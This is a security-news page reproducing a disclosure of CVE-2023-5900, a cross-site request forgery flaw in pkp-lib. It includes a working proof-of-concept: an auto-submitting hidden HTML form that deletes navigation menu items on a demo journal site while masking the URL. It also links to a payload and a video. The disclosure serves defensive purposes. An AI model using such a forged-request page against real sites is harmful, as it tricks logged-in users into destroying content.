Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-5900: CSRF Delete Navigation Menu Items in pkp-lib

Cross-Site Request Forgery in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

CVE
#csrf#google#js#git#php#ibm

Description

CSRF Delete Navigation Menu Items

Proof of Concept

1 .Attack sends fake requests to users

<html>
   <body>    
 <form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive-journal/$$$call$$$/grid/navigation- 
   menus/navigation-menu-items-grid/delete-navigation-menu-item">      
  <input type="hidden" name="navigationMenuItemId" value="330" />    
  <input type="hidden" name="csrfToken" value="" />     
  <input type="submit" value="Submit request" />
 </form>
 <script>
       history.pushState('', '', '/');
        document.forms[0].submit();
       </script>
    </body>
  </html>

2 .User click, deletes unwanted Navigation Menu Items

Payload Poc

https://drive.google.com/file/d/15cjZ2oBeBmUx-C9_kRqBXKMXLX8LU5Ew/view?usp=sharing

Video Poc

https://drive.google.com/file/d/1Bp1M3ifN9rXdxhjfyAIibmy0QFhYluEu/view?usp=sharing

Impact

Trick users to do unintended actions.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907